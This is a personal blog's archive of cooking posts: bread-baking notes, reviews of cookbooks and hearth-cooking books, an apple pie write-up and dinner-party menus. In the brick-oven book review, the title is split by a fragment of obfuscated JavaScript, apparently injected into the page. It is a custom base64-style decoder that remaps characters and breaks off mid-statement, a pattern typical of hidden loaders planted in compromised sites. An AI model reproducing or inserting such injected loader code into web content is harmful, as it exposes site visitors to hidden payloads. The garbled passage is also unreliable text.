spectating participant

October 23, 2007

bread rising

Filed under: cooking, food — suzanne henderson @ 2:08 pm

I’m working on my first whole-wheat sandwich loaf right now. I decided to give the recipe on the side of the bag a try since it was accessible and simple looking. I was a bit shocked that this one recipe (doubled to make two loaves) took almost half the bag of flour - wow. If I keep this up, we’ll be needing some serious flour containers and purchases to make sure we always have some on hand. This is supposed to be our sandwich bread for the week, hence two loaves because I know we’ll end up gobbling up the first one for snacks.

In other bread baking news, I made some yummy Buttermilk dinner rolls from the Bread Bible Book. They were super fantastic and yummy, though Alex and Chris both commented about them having a slightly funny taste — maybe it was the homemade buttermilk (milk and vinegar) I used. Warm from the oven, they didn’t even need butter - but butter made them oh so yummy. They lasted for a couple days (just as good as the first day); the recipe called for 16 rolls that we’re actually much larger than they needed to be. Next time, I’ll opt for slightly smaller rolls.

A few days before that I made a recipe from The Bread Bakers Apprentice and shaped the loaves into rolls (Chris wants to know what’s up with this roll obsession) and they were very crusty and good. However, they would have been much better as larger loaves because of the crustiness. I think I ended up making about 16 rolls, but they ended up being way too dense after a day or two (they were more like french bread). I think Alex still ate them anyways, but next time I’ll make them into loaves. This bread called for a pre-ferment dough (basically a partially made dough that you let rise overnight) and the my first attempt was too wet, judging by appearances, so I made a second batch that worked perfectly. I just threw the first attempt away, it’d been resting away in the fridge for over a week now and didn’t seem worth testing out in a loaf.

Over obsessing as always, I jumped into this bread thing over my head. I read some awesome books: The Bread Makers Apprentice, Crust and Crumb, and a bok on multi-grain breads by the same author. These books really take bread making to a new, and time consuming, level. Striving for perfection, I wanted to start there and keep going. However, after my first recipe attempt and all the hoop jumping to make a truly excellent bread — I’ve decided to go back to simpler processes and recipes. I’ll retain the weights versus measures for scooping flour, but no more of this steam bath and spraying the oven walls with water to get the perfect crust. I’m sure I’ll be able to manage excellent bread without all that hoopla (and judging by the awesome buttermilk rolls, I know it doesn’t have to be so complicated).

I’m gonna try a sour dough bread next - I had french toast made with sourdough that was oh so yummy and want to see if I can make it at home. I also want to work on some multi-grain breads, but will wait and see how the whole-wheat loaf bread turns out. It doesn’t make much sense to spend all this time making bread if I’m just going to be turning out nutrition-lacking white breads.

October 2, 2007

got something on the stove

Filed under: cooking, food — suzanne henderson @ 6:18 pm

simmering in an big ol’ dutch oven….

and it smells terrible, looks terrible, and I’m afraid it taste terrible too.

argh, will be very disappointed if I’ve wasted three pound of meat along with heck of a lot of veggies. sigh.

most of the time, experiments work out just fine. sometimes, this happens.

tried to spruce it up a bit more, we’ll see what happens, in the end, we’ll be eating whatever it is.

if it sucks, chris has a yucky week of lunches ahead, thankfully he’ll eat stuff even if it isn’t any good — I’m not envious of that ability, give me food that tastes good, thanks.

December 27, 2006

Book Review: Vegetables Every Day

Filed under: review, books, cooking, food — suzanne henderson @ 2:50 am

Root Cellaring

First, let me say that if you cook, you should own this book. [Vegetables Every Day] by [Jack Bishop] states that is is The Definitive Guide to Buying and Cooking Today’s Produce, with more than 350 Recipes. I must agree because this book does cover all the standard, and a few less american-typical, vegetables found in the supermarket and farmstand. I came across this book at a friend’s house and watched how it was used almost daily to add variety to standby vegetables and test new vegetables coming from their recently established (reestablished) garden.

It is the perfect solution to doing more than steaming broccoli or broiling asparagus. Vegetables are listed in alphabetical order with informative introductions on the history of the vegetable, availability, selection criteria, storing conditions, basic preparation and best cooking methods. These details are just a page or two long and are followed with several different recipes for cooking and serving each vegetable. If you’re tired of plain mashed potatoes, this book with offer other recipes to try to help you break out of your culinary rut.

I’ve owned this book for almost two years and it is the most used book in my kitchen and if I was forced to select a single book for my cooking resource this would be it. While I’ve read it cover to cover only a few times — it is normally grabbed in desperation and habit pushes me toward tired approaches to my families favorite vegetables — I’ve taken a renewed interest in it in conjunction with reading [Root Cellaring] by Mike and Nancy Bubel. In preparation for the eventual root cellar and self-sustaining garden, I realize that our family needs to branch out in vegetable variety and this book is a roadmap for this new adventure. We’ll be making use of the recipe suggestions to helps us expand our tastebuds to include more vegetables that are common staples in the root cellar and family garden.

Wether you’re trying to expand your vegetable preferences or just tired of always using the same old preparation for your favorite vegetables - you should own this book. If you get it and hate it (impossible I believe), feel free to send me your copy because I could actually use two as I’m often making more than one new recipes a night when motivation strikes (and when the crisper drawer is overstuffed and items are nearing expiration).

July 16, 2006

Book Review: The Forgotten Art of Building and Using a Brick Bake Oven

Filed under: review, books, cooking, food — suzanne henderson @ 10:28 am

The Forgotten Art of Building <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Using a Brick Bake Oven” />

[The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon] also had the titles “How to Date, Renovate, or Use an Existing Brick Oven, or to Construct a New One” and “The Lore an History of an Indispensable Part of the Kitchen from Colonial Times tot he 1800s”. Lots of titles for a slender book.

This is a very compact book with lots of descriptions, images, and diagrams. On first impression, I didn’t really find it useful for dating a brick oven, but maybe if I spent more time looking at them I’d find some of his descriptions helpful. What I really enjoyed was the detailing on how to build your own brick oven, the proper method for building a fire, and general baking instructions.

The images offer plenty of dimensions and considerations for building a working brick oven in your fireplace or in any other area of the kitchen. I look forward to building one some day and baking in the oven while cooking in the open-hearth.

Book Review: The Open-Hearth Cookbook

Filed under: review, books, cooking, food — suzanne henderson @ 10:12 am

The Open-Hearth Cookbook

[The Open-Hearth CookBook: Recapturing the Flavor of Early America|The Open-Hearth CookBook] by [Suzanne Goldenson] and [Doris Simpson].

This book provides a brief, yet detailed, overview of early American cooking in the fireplace. It discusses the cooking implements used for cooking and describes the differences between wealthy households and average households. Descriptions on how to build and maintain a fire, judge cooking temperatures and times, and how to use even a modern day fireplace to recreate meals from the past are included.

I found the details about how yesteryear cooking was accomplished very interesting and motivating for getting a fireplace big enough to try it out. The authors provide descriptions of their attempts to recreate past recipes and also include many recipes that most families, today, could use. There are little bits of information that really make this book an excellent resource for someone looking to bring open-hearth cooking into their home — like detailing the instruments used and stating how antique collectors make it almost impossible, financially, to obtain certain authentic, useful equipment. However, they do assure you that any modern blacksmith would be able to help to make equipment you may not be able to find.

I also enjoyed seeing how the cooking methods did not differ greatly from our stove top cooking today. The authors even explain how we continue to use the same senses to determine cooking temperature and times in meal preparation. They mentioned that the desire for gas ranges truly reflects how we’ve continued these early cooking methods because of the ability to allow our visual and physical clues tell us about the heat versus reliance on a electric cook tops that probably provides more accurate temperature control.

Great book for anyone looking to cook over a fire — be aware that it probably takes a little more effort and a lot more wood than you originally thought. This books goes well with [The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon].

February 23, 2006

Deep-Dish Apple Pie

Filed under: cooking, food — suzanne henderson @ 10:01 pm

While downloading some pictures off of my camera, I found some of an apple pie I made some time last year. I guess it is about time to write it up.

I used the “The Problem with Deep-Dish Apple Pie” from [Cooks Illustrated]’s September & October 2005 issue. Like all Cooks Illustrated articles, this one addresses many of the problems with a standard recipe as they test many ways to resolve them and to get the perfect* taste. The first thing I have to say about this recipie is that it takes a long time from start to finish. And, while I enjoy cooking and really enjoy good [food], I do have a limit to the time and energy that I will put into one dish — this recipe hit both of those limits by the time it was done.

First thing first, you must make the pie crusts. I know why I see so many shows and recipes talking about how simple a pie crust is; because, no matter how many times I try and how closely I follow directions, it never seems to work out right. Now, my crust did turn out nice in the end, but the time that it took to mix and mold and rest and roll and rest just took too long. Yes, it was far superior to what a store bought crust would have done, but I still find their connivence worth the reduced results. The image above shows off the beauty of the crust and I am impressed that it turned out so well; however, I don’t think I’ll bother to make the crust next time.

For the filling, you must pick the right apples, the right combination of apples. You need to balance sweet (golden delicious, braeburn, jonagold) with tart (granny smith, empire, cortland) apples. I think that I went with granny smith and golden delicious for my pie. So, you get 5 pounds of apples and start peeling and slicing. Luckily, I have an apple peeler, slicer, corer which made this task possible. Without it I would have given up before I even started. You actually cook the apples on the stove top before you fill the pie. In this step, you add minimal ingredients to the apples, cook, and then cool on a baking sheet. The seasoning on the apples is limited because the goal is to have a strong apple taste, not a sugary or overly spiced filling.

You then add the filling to the prepared crust, top it off with another crust, cut a few slits in the top, and brush on some egg white and sugar. It came out wonderfully. The crust was perfect and the slice shows that the apples retained just enough body and that there was no gap between the filling and crust (the double cooking of the apples was done to prevent this). Yes, it did taste quite wonderful, especially with a scoop of my favorite ice cream on top. However, I will not make this recipe again. I love apple pie and this certainly stood up to my standards on taste, but the effort involved was too much. Instead, I know a farmers market that makes wonderful deep-dish apple pies for much less effort on my part. That has the benefit of supporting local farmers and freeing up my time for other things.

* perfect is relative

December 12, 2005

sweet, so, sweet

Filed under: dining, cooking, family, life — suzanne henderson @ 4:01 pm

The island in the kitchen was buried under ingredients, utensils, and rows and rows of cookies on Sunday. Iwas time for some holiday baking and it was a lot of fun and very productive. Collectively we made 3 batches of spice nuts, two batches of no bake cookie (chris’ recipe calls them raggedy robins.. odd), 8 dozen peanut butter blossom, 1 batch of sugar cookie dough, 1 batch of gingerbread dough, and 8 dozen chocolate truffle cookies. It was quite an adventure.

Chris spent most the tie working on the sugar cookie dough which was being far more stubborn than I would have tolerated. We did get a few cookies cut out, but I think we’ll have to give it another try later. We bought a million cookie cutters and I want to get some use out of them; but honestly, I just want to decorate the cookies–I don’t even like eating sugar cookies. The peanut butter blossoms are my favorite, but bagged up over 2/3 of them to help fill stockings for the staff members at Alex’s school. The spice nuts were very easy and so I just made two more batches to have a simple thing to bag up for the stockings. Kay, a new balt-wash member, came over and made her chocolate truffle cookies which were quite chocolatey.

By the end of the day, after a few too many tastes of everything, I was dying for something real for dinner. Megan and Chris were suggesting pizza but that sounded far too sweet to me. We ended up getting steaks at a local place that just opened last month. I felt bad about heading out to eat, but Chris pointed out that we’d both been slaving away in the kitchen all day and it was perfectly reasonable. The food was great, as always, but the atmosphere made it to where I’ll never go back again.

I’ve been spoiled with Montgomery County not allowing smoking in restaurants. When we arrived, we requested a seat as far away from smoking as possible and didn’t get one. Then before the appetizer showed up, my lungs were starting to hurt from the drifting smoke. We asked the waiter if we could move (luckily it wasn’t busy) and got a little further away. In fact, we got through the majority of the meal before the smoke managed to creep over to the new location. I like the food and alex loves the place, but I am not going to eat somewhere that allows smoking, especially not a place that doesn’t even divide the two areas, sigh. It was still nice to be eating something that wasn’t sweet and that I didn’t have to clean up after.

August 4, 2005

dinner party

Filed under: cooking, food — suzanne henderson @ 11:53 am

first: my camera batteries died just as I went to take pictures. since we’d already waited a bit too long before sitting down to eat the pasta, I just gave up on visual documentation.

Last nights menu: Caesar Salad, Fettucini Alfredo, Chicken with 40 Cloves, French Bread, and Elephant Ears and Creme de Luche ice cream.

The Caesar salad was simple enough, making the dressing with lemon juice, worcestershire sauce, salt, pepper, garlic, anchovies, and olive oil. It made a very thin sauce and I wasn’t too pleased with that. I think I should stir some of the parmesan cheese into it next time to thicken it up, perhaps. But overall, it was good and simple tasting.

The Fettucini Alfredo came from the latest [Cook’s Illustrated] magazine and was far simpler than I imagined it to be. This dish is often the cause for me to go out and eat, wanting something I felt I couldn’t make at home. It came together quickly and easily, but I wish the writers would be a little more liberal with their numbered steps instead of cramming so many things into one. It made it hard to follow the quick paced ending when I had to keep searching through same paragraph to figure out where I left out. I guess learning to memorize a recipe would be a better solution, but I end up double guessing myself too often. But, as for the dish, it was acceptable, far better than I’ve had at many places. Yet, still too thin for my taste and too sweet. I like heavy, creamy sauce and I think i can tweak this recipe make it the way that I like, as long as I leave out the nutmeg.

The Chicken with 40 Cloves didn’t follow one recipe, i pieced a few together to fit what I felt it should be. It was quite good and I made way too much chicken. The garlic cloves needed to be a bit fresher. I think some were beginning to green on the inside and left the cloves a little tart/bitter when spread on bread. Still, quite good and the best part of the meal.

The Elephant Ears are not what I typically call elephant eats. There were flakey sugary cookies that went perfectly with the ice cream. Super simple to make; throw down 1/2 cup sugar, lay on a sheet of puff pastry, cover it with another 1/2 cup sugar, and roll it out to a 12-inch square. Then fold it up to make it the shape that will bake into curly looking hearts. Make slices and bake until the sugar caramelizes and they’re browned. I’ve seen these cookies at chinese buffets, so I’m not sure why the author of the recipe called them Elephant Ears, other than they could look like them in tiny elephant ears, perhaps.

July 30, 2005

flavor combinations

Filed under: cooking, food — suzanne henderson @ 6:45 am

I have been working out in the kitchen lately and I am finally remembering to track my progress with the camera and a post. This was the first meal I seriously considered and planned the entire menu. I wanted all of the flavors to play well together and learned that I need to work on this concept. I was trying to keep everything fairly light and summer-y. Upon initial consideration, each dish sounded like it would work well to suit my wish and balance the meal as a whole. I missed out on a few key ingredients in the cucumber salad and it threw the balance off. However, it was still a great meal.

The menu:
Chilled Peach Soup
Cucumber Salad
Parmesan Twists
Roasted Salmon with Tomato/Roasted Red Pepper Sauce

The meal took all afternoon to make, mostly because the majority of it either needed to be made ahead of time to chill or because it could be made ahead and I prefer to have no more than 2-3 dishes needing attention at a time.

The Chilled Peach Soup was my main focus of the meal. I planned everything around this dish because it sounded so tasty. Sadly, I waited until the end stages of prep to take pictures. You start with four (4) pounds of peaches, pitted and chopped, simmered in several cups of white whine, honey, and lemon juice for half an hour. Then begins the tedious task of getting it pureed enough to make it through a sieve. I tried both the food processor and the blender to process the soup; the blender worked the best (a surprise to me since I typically feel my food processor can do everything superior to the blender). I need a better sieve, one designed for tasks like this versus the one used almost more for sifting purposes. The soup turned out rather “savory”, as Chris put it. It was sweeter than I expected it to be and more suited for an after course than a soup course. Not quite dessert, but close enough that there is no need for dessert later.

The cucumber salad took a while to make but was extremely simple. Peel, seed, and slice the cucumbers. Salt and rest in a sieve under a bag of ice water for an hour to remove excess moisture. I didn’t read the recipie close enough when selecting this dish, otherwise I would have realized that the rice vinegar and the toasted seasame oil seasonings would be very overpowering for the whole meal. The smell of the toasted sesame oil was rather pungent throughout the kitchen for the rest of the afternoon, something I found to be quite annoying and put me off from wanting to eat much of the dish. It tasted okay, but I doubt that I will make it again or that the leftovers disappear any time soon.

The Cheese Twists were simple and tasty. It used puff pastry dought, brushed with an egg wash and sprinkled with grated gruyere and parmesan, chopped thyme, and salt and pepper. Cut into long strips, twist, and bake for about 15 minutes. Simple and quite tasty. Do not store leftovers in a plastic bag, it steals away their crispyness that makes them so addictive.

The seasoning for the roasted salmon took a while to make. It had at least 10 spice ingredients that needed ground into a powder. I started with the mortar and pestle, but switched to the mini-processor to get the task done faster. There were still things that needed an initial grinding before adding to the processor, but I couldn’t imagine actually grinding all of it by hand. It made a lot of seasoning and had I been smart I would have saved part of it instead of using the entire batch to dredge the salmon in. It was hard to throw out the leftovers after spending so much time making it. The seasonings worked well with the salmon, which was roasted skin up in a hot oven. This allowed the juices to mix with the spices and turned it into a textured glaze instead of a dry seasoning. It was quite yummy.

The Tomato/Red Pepper Sauce didn’t make it into any photos other than the final one. (The final dinner picture happened only because Chris had the sense to remind me that I would probably want a picture; by that late in the day and the process, I just wanted to sit down and eat.) It was supposed to be made from fresh tomatoes , skinned, seeded, and chopped, but I just couldn’t bring myself to do it at the end of the day–canned tomatoes to the rescue. I added roasted red peppers to the recipe, something that turned against me in the overall menu. The tomatoes and peppers are cooked in oil until reduced and then a wine, cream, and shallot reduction is added along with thyme and seasonings. Then add a stick of butter and viola, a delicious sauce full of red pepper flavor. In the menu, it overwhelmed the overall flavors and didn’t match well with the cucumber salad. Also, the salmon only needed a small amount of sauce and it probably would have worked out much better if I had left out the red peppers altogether. But I find them to be quite yummy and am looking forward to the dish I make with the leftovers.

The dinner went well and it was very enjoyable, despite my inability to match flavors better. I have company coming next week and we shall have at least one dinner next week to the same calibration. This being my first attempt to make such a complex meal, even with most dishes having simple recipes, and I must say that I did a great job.